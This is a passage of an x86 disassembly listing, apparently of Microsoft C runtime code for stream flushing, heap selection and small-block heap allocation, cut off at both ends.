ecx pop esi retn ; --------------------------------------------------------------------------- loc_41DB62: ; CODE XREF: sub_41DB50+7j push esi call sub_41DB8B test eax, eax pop ecx jz short loc_41DB72 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41DB72: ; CODE XREF: sub_41DB50+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41DB87 push dword ptr [esi+10h] call sub_4238DF neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41DB87: ; CODE XREF: sub_41DB50+26j xor eax, eax pop esi retn sub_41DB50 endp ; =============== S U B R O U T I N E ======================================= sub_41DB8B proc near ; CODE XREF: sub_41B05B+1Ap ; ___:0041D223p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41DBD8 test ax, 108h jz short loc_41DBD8 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41DBD8 push edi push eax push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, edi jnz short loc_41DBD1 mov eax, [esi+0Ch] test al, 80h jz short loc_41DBD8 and al, 0FDh mov [esi+0Ch], eax jmp short loc_41DBD8 ; --------------------------------------------------------------------------- loc_41DBD1: ; CODE XREF: sub_41DB8B+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41DBD8: ; CODE XREF: sub_41DB8B+14j ; sub_41DB8B+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41DB8B endp ; =============== S U B R O U T I N E ======================================= sub_41DBE7 proc near ; CODE XREF: sub_4239DBp push 1 call sub_41DBF0 pop ecx retn sub_41DBE7 endp ; =============== S U B R O U T I N E ======================================= sub_41DBF0 proc near ; CODE XREF: sub_41DB50+Ap ; sub_41DBE7+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4DC5E0, esi jle short loc_41DC4E loc_41DC01: ; CODE XREF: sub_41DBF0+5Cj mov eax, dword_4DB5C8 mov eax, [eax+esi*4] test eax, eax jz short loc_41DC45 mov ecx, [eax+0Ch] test cl, 83h jz short loc_41DC45 cmp [esp+0Ch+arg_0], 1 jnz short loc_41DC2B push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DC45 inc ebx jmp short loc_41DC45 ; --------------------------------------------------------------------------- loc_41DC2B: ; CODE XREF: sub_41DBF0+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41DC45 test cl, 2 jz short loc_41DC45 push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41DC45 or edi, eax loc_41DC45: ; CODE XREF: sub_41DBF0+1Bj ; sub_41DBF0+23j ... inc esi cmp esi, dword_4DC5E0 jl short loc_41DC01 loc_41DC4E: ; CODE XREF: sub_41DBF0+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41DC59 mov eax, edi loc_41DC59: ; CODE XREF: sub_41DBF0+65j pop edi pop esi pop ebx retn sub_41DBF0 endp ; =============== S U B R O U T I N E ======================================= sub_41DC5D proc near ; CODE XREF: ___:0041DDC0p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 nop call near ptr 2680000h cmp word ptr [eax], 5A4Dh jnz short loc_41DC88 mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41DC88 add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41DC88: ; CODE XREF: sub_41DC5D+15j ; sub_41DC5D+1Cj pop esi retn sub_41DC5D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 122Ch call sub_41BB20 lea eax, [ebp-98h] push ebx push eax mov dword ptr [ebp-98h], 94h call near ptr 26C05ECh nop test eax, eax jz short loc_41DCCD cmp dword ptr [ebp-88h], 2 jnz short loc_41DCCD cmp dword ptr [ebp-94h], 5 jb short loc_41DCCD push 1 pop eax jmp loc_41DDCF ; --------------------------------------------------------------------------- loc_41DCCD: ; CODE XREF: ___:0041DCB1j ; ___:0041DCBAj ... lea eax, [ebp-122Ch] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call near ptr 28B0000h nop test eax, eax jz loc_41DDBC xor ebx, ebx lea ecx, [ebp-122Ch] cmp [ebp-122Ch], bl jz short loc_41DD0F loc_41DCFC: ; CODE XREF: ___:0041DD0Dj mov al, [ecx] cmp al, 61h jl short loc_41DD0A cmp al, 7Ah jg short loc_41DD0A sub al, 20h mov [ecx], al loc_41DD0A: ; CODE XREF: ___:0041DD00j ; ___:0041DD04j inc ecx cmp [ecx], bl jnz short loc_41DCFC loc_41DD0F: ; CODE XREF: ___:0041DCFAj lea eax, [ebp-122Ch] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_41BE70 add esp, 0Ch test eax, eax jnz short loc_41DD31 lea eax, [ebp-122Ch] jmp short loc_41DD7A ; --------------------------------------------------------------------------- loc_41DD31: ; CODE XREF: ___:0041DD27j lea eax, [ebp-19Ch] push 104h push eax push ebx nop call near ptr 2660000h cmp [ebp-19Ch], bl lea ecx, [ebp-19Ch] jz short loc_41DD65 loc_41DD52: ; CODE XREF: ___:0041DD63j mov al, [ecx] cmp al, 61h jl short loc_41DD60 cmp al, 7Ah jg short loc_41DD60 sub al, 20h mov [ecx], al loc_41DD60: ; CODE XREF: ___:0041DD56j ; ___:0041DD5Aj inc ecx cmp [ecx], bl jnz short loc_41DD52 loc_41DD65: ; CODE XREF: ___:0041DD50j lea eax, [ebp-19Ch] push eax lea eax, [ebp-122Ch] push eax call sub_41B900 pop ecx pop ecx loc_41DD7A: ; CODE XREF: ___:0041DD2Fj cmp eax, ebx jz short loc_41DDBC push 2Ch push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx jz short loc_41DDBC inc eax mov ecx, eax cmp [eax], bl jz short loc_41DDA1 loc_41DD93: ; CODE XREF: ___:0041DD9Fj cmp byte ptr [ecx], 3Bh jnz short loc_41DD9C mov [ecx], bl jmp short loc_41DD9D ; --------------------------------------------------------------------------- loc_41DD9C: ; CODE XREF: ___:0041DD96j inc ecx loc_41DD9D: ; CODE XREF: ___:0041DD9Aj cmp [ecx], bl jnz short loc_41DD93 loc_41DDA1: ; CODE XREF: ___:0041DD91j push 0Ah push ebx push eax call sub_41BBA6 add esp, 0Ch cmp eax, 2 jz short loc_41DDCF cmp eax, 3 jz short loc_41DDCF cmp eax, 1 jz short loc_41DDCF loc_41DDBC: ; CODE XREF: ___:0041DCE6j ; ___:0041DD7Cj ... lea eax, [ebp-4] push eax call sub_41DC5D cmp byte ptr [ebp-4], 6 pop ecx sbb eax, eax add eax, 3 loc_41DDCF: ; CODE XREF: ___:0041DCC8j ; ___:0041DDB0j ... pop ebx leave retn ; --------------------------------------------------------------------------- dw 0C033h dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 4A2217E8h dd 0A3C08502h, 4DC944h, 93E83674h, 83FFFFFEh, 48A303F8h dd 75004DC9h, 3F8680Dh, 24E80000h, 59000000h, 0F8830AEBh dd 0E8187502h, 0B5Eh, 0F75C085h, 0C94435FFh, 0E890004Dh dd 2493042h, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DC944h dd 21BEE890h, 0C0850239h, 4DC93CA3h, 0C3017500h, 4244C8Bh dd 0C9342583h, 8300004Dh, 4DC93825h, 16A0000h, 4DC930A3h dd 400D8900h, 0C7004DC9h, 4DC92805h, 1000h db 0, 58h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41DE77 proc near ; CODE XREF: sub_41B0B1+17p ; sub_41B202+4Cp ... arg_0 = dword ptr 4 mov eax, dword_4DC938 lea ecx, [eax+eax*4] mov eax, dword_4DC93C lea ecx, [eax+ecx*4] loc_41DE87: ; CODE XREF: sub_41DE77+26j cmp eax, ecx jnb short loc_41DE9F mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41DEA1 add eax, 14h jmp short loc_41DE87 ; --------------------------------------------------------------------------- loc_41DE9F: ; CODE XREF: sub_41DE77+12j xor eax, eax locret_41DEA1: ; CODE XREF: sub_41DE77+21j retn sub_41DE77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DEA2 proc near ; CODE XREF: sub_41B0B1+23p ; sub_41B202+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41E1C6 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41DF78 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF06 push 3Fh pop edx loc_41DF06: ; CODE XREF: sub_41DEA2+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41DF5A cmp edx, 20h jnb short loc_41DF31 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41DF52 ; --------------------------------------------------------------------------- loc_41DF31: ; CODE XREF: sub_41DEA2+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41DF52: ; CODE XREF: sub_41DEA2+86j ; sub_41DEA2+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41DF5D ; --------------------------------------------------------------------------- loc_41DF5A: ; CODE XREF: sub_41DEA2+6Aj mov ecx, [ebp+var_4] loc_41DF5D: ; CODE XREF: sub_41DEA2+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41DF78: ; CODE XREF: sub_41DEA2+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF86 push 3Fh pop edx loc_41DF86: ; CODE XREF: sub_41DEA2+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41E029 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41DFAB mov ebx, esi loc_41DFAB: ; CODE XREF: sub_41DEA2+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41DFBD mov edx, esi loc_41DFBD: ; CODE XREF: sub_41DEA2+117j cmp ebx, edx jz short loc_41E024 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41E00C cmp ebx, 20h jnb short loc_41DFED mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41E00C ; --------------------------------------------------------------------------- loc_41DFED: ; CODE XREF: sub_41DEA2+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41E00C: ; CODE XREF: sub_41DEA2+128j ; sub_41DEA2+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41E024: ; CODE XREF: sub_41DEA2+11Dj mov esi, [ebp+arg_4] jmp short loc_41E02C ; --------------------------------------------------------------------------- loc_41E029: ; CODE XREF: sub_41DEA2+EDj mov ebx, [ebp+arg_0] loc_41E02C: ; CODE XREF: sub_41DEA2+185j cmp [ebp+var_C], 0 jnz short loc_41E03A cmp ebx, edx jz loc_41E0BB loc_41E03A: ; CODE XREF: sub_41DEA2+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41E0BB mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41E092 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E081 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E081: ; CODE XREF: sub_41DEA2+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41E0BB ; --------------------------------------------------------------------------- loc_41E092: ; CODE XREF: sub_41DEA2+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E0A8 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E0A8: ; CODE XREF: sub_41DEA2+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41E0BB: ; CODE XREF: sub_41DEA2+192j ; sub_41DEA2+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41E1C6 mov eax, dword_4DC934 test eax, eax jz loc_41E1B8 mov ecx, dword_4DC92C mov esi, dword_4271C0 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi mov ecx, dword_4DC92C mov eax, dword_4DC934 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4DC934 mov ecx, dword_4DC92C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4DC934 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4DC934 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41E149 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4DC934 loc_41E149: ; CODE XREF: sub_41DEA2+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41E1B8 push ebx push 0 push dword ptr [eax+0Ch] call esi mov eax, dword_4DC934 push dword ptr [eax+10h] push 0 push dword_4DC944 call near ptr 27A0000h nop mov eax, dword_4DC938 mov edx, dword_4DC93C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4DC934 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41CC90 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4DC938 cmp eax, dword_4DC934 jbe short loc_41E1AE sub [ebp+arg_0], 14h loc_41E1AE: ; CODE XREF: sub_41DEA2+306j mov eax, dword_4DC93C mov dword_4DC930, eax loc_41E1B8: ; CODE XREF: sub_41DEA2+234j ; sub_41DEA2+2ABj mov eax, [ebp+arg_0] mov dword_4DC92C, edi mov dword_4DC934, eax loc_41E1C6: ; CODE XREF: sub_41DEA2+38j ; sub_41DEA2+227j pop edi pop esi pop ebx leave retn sub_41DEA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E1CB proc near ; CODE XREF: sub_41B202+77p ; sub_41B513+18p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4DC938 mov edx, dword_4DC93C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41E20B or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41E21B ; --------------------------------------------------------------------------- loc_41E20B: ; CODE XREF: sub_41E1CB+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41E21B: ; CODE XREF: sub_41E1CB+3Ej mov eax, dword_4DC930 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41E242 loc_41E229: ; CODE XREF: sub_41E1CB+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E242 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41E229 loc_41E242: ; CODE XREF: sub_41E1CB+5Cj ; sub_41E1CB+6Aj cmp ebx, [ebp+var_4] jnz short loc_41E2C0 mov ebx, edx loc_41E249: ; CODE XREF: sub_41E1CB+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E265 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E263 add ebx, 14h jmp short loc_41E249 ; --------------------------------------------------------------------------- loc_41E263: ; CODE XREF: sub_41E1CB+91j cmp ebx, eax loc_41E265: ; CODE XREF: sub_41E1CB+83j jnz short loc_41E2C0 loc_41E267: ; CODE XREF: sub_41E1CB+ADj cmp ebx, [ebp+var_4] jnb short loc_41E27D cmp dword ptr [ebx+8], 0 jnz short loc_41E27A add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41E267 ; --------------------------------------------------------------------------- loc_41E27A: ; CODE XREF: sub_41E1CB+A5j cmp ebx, [ebp+var_4] loc_41E27D: ; CODE XREF: sub_41E1CB+9Fj jnz short loc_41E2A5 mov ebx, edx loc_41E281: ; CODE XREF: sub_41E1CB+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E295 cmp dword ptr [ebx+8], 0 jnz short loc_41E293 add ebx, 14h jmp short loc_41E281 ; --------------------------------------------------------------------------- loc_41E293: ; CODE XREF: sub_41E1CB+C1j cmp ebx, eax loc_41E295: ; CODE XREF: sub_41E1CB+BBj jnz short loc_41E2A5 call sub_41E4D4 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41E2B9 loc_41E2A5: ; CODE XREF: sub_41E1CB:loc_41E27Dj ; sub_41E1CB:loc_41E295j push ebx call sub_41E585 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41E2C0 loc_41E2B9: ; CODE XREF: sub_41E1CB+D8j xor eax, eax jmp loc_41E4CF ; --------------------------------------------------------------------------- loc_41E2C0: ; CODE XREF: sub_41E1CB+7Aj ; sub_41E1CB:loc_41E265j ... mov dword_4DC930, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41E2E7 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E31E loc_41E2E7: ; CODE XREF: sub_41E1CB+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41E31B loc_41E304: ; CODE XREF: sub_41E1CB+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41E304 loc_41E31B: ; CODE XREF: sub_41E1CB+137j mov edx, [ebp+var_4] loc_41E31E: ; CODE XREF: sub_41E1CB+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41E347 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41E347: ; CODE XREF: sub_41E1CB+16Dj ; sub_41E1CB+183j test ecx, ecx jl short loc_41E350 shl ecx, 1 inc edi jmp short loc_41E347 ; --------------------------------------------------------------------------- loc_41E350: ; CODE XREF: sub_41E1CB+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41E36D push 3Fh pop esi loc_41E36D: ; CODE XREF: sub_41E1CB+19Dj cmp esi, edi jz loc_41E482 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E3DE cmp edi, 20h jge short loc_41E3AD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3AD: ; CODE XREF: sub_41E1CB+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3DB: ; CODE XREF: sub_41E1CB+1D6j ; sub_41E1CB+203j mov ebx, [ebp+arg_0] loc_41E3DE: ; CODE XREF: sub_41E1CB+1B0j ; sub_41E1CB+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41E48E mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E47F mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41E450 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E43E mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41E43E: ; CODE XREF: sub_41E1CB+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41E47F ; --------------------------------------------------------------------------- loc_41E450: ; CODE XREF: sub_41E1CB+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E469 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41E469: ; CODE XREF: sub_41E1CB+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41E47F: ; CODE XREF: sub_41E1CB+24Ej ; sub_41E1CB+283j mov ecx, [ebp+var_8] loc_41E482: ; CODE XREF: sub_41E1CB+1A4j test ecx, ecx jz short loc_41E491 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41E491 ; --------------------------------------------------------------------------- loc_41E48E: ; CODE XREF: sub_41E1CB+229j mov ecx, [ebp+var_8] loc_41E491: ; CODE XREF: sub_41E1CB+2B9j ; sub_41E1CB+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41E4C7 cmp ebx, dword_4DC934 jnz short loc_41E4C7 mov ecx, [ebp+var_4] cmp ecx, dword_4DC92C jnz short loc_41E4C7 and dword_4DC934, 0 loc_41E4C7: ; CODE XREF: sub_41E1CB+2E0j ; sub_41E1CB+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41E4CF: ; CODE XREF: sub_41E1CB+F0j pop edi pop esi pop ebx leave retn sub_41E1CB endp ; =============== S U B R O U T I N E ======================================= sub_41E4D4 proc near ; CODE XREF: sub_41E1CB+CCp mov eax, dword_4DC938 mov ecx, dword_4DC928 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41E517 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4DC93C push edi push dword_4DC944 call near ptr 2860000h nop cmp eax, edi jz short loc_41E567 add dword_4DC928, 10h mov dword_4DC93C, eax mov eax, dword_4DC938 loc_41E517: ; CODE XREF: sub_41E4D4+11j mov ecx, dword_4DC93C push 41C4h push 8 lea eax, [eax+eax*4] push dword_4DC944 lea esi, [ecx+eax*4] nop call near ptr 27B0000h cmp eax, edi mov [esi+10h], eax jz short loc_41E567 push 4 push 2000h push 100000h push edi nop call near ptr 28C07A0h cmp eax, edi mov [esi+0Ch], eax jnz short loc_41E56B push dword ptr [esi+10h] push edi push dword_4DC944 nop call near ptr 27A0000h loc_41E567: ; CODE XREF: sub_41E4D4+30j ; sub_41E4D4+67j xor eax, eax jmp short loc_41E582 ; --------------------------------------------------------------------------- loc_41E56B: ; CODE XREF: sub_41E4D4+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4DC938 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41E582: ; CODE XREF: sub_41E4D4+95j pop edi pop esi retn sub_41E4D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E585 proc near ; CODE XREF: sub_41E1CB+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41E597: ; CODE XREF: sub_41E585+19j test eax, eax jl short loc_41E5A0 shl eax, 1 inc ebx jmp short loc_41E597 ; --------------------------------------------------------------------------- loc_41E5A0: ; CODE XREF: sub_41E585+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41E5B5: ; CODE XREF: sub_41E585+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41E5B5 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi nop call near ptr 28C07A0h test eax, eax jnz short loc_41E5E8 or eax, 0FFFFFFFFh jmp loc_41E67B ; --------------------------------------------------------------------------- loc_41E5E8: ; CODE XREF: sub_41E585+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41E62E lea eax, [edi+10h] loc_41E5F5: ; CODE XREF: sub_41E585+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41E5F5 loc_41E62E: ; CODE XREF: sub_41E585+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41E66B or [eax+4], edi loc_41E66B: ; CODE XREF: sub_41E585+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41E67B: ; CODE XREF: sub_41E585+5Ej pop edi pop esi pop ebx leave retn sub_41E585 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E680 proc near ; CODE XREF: sub_41B202+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, 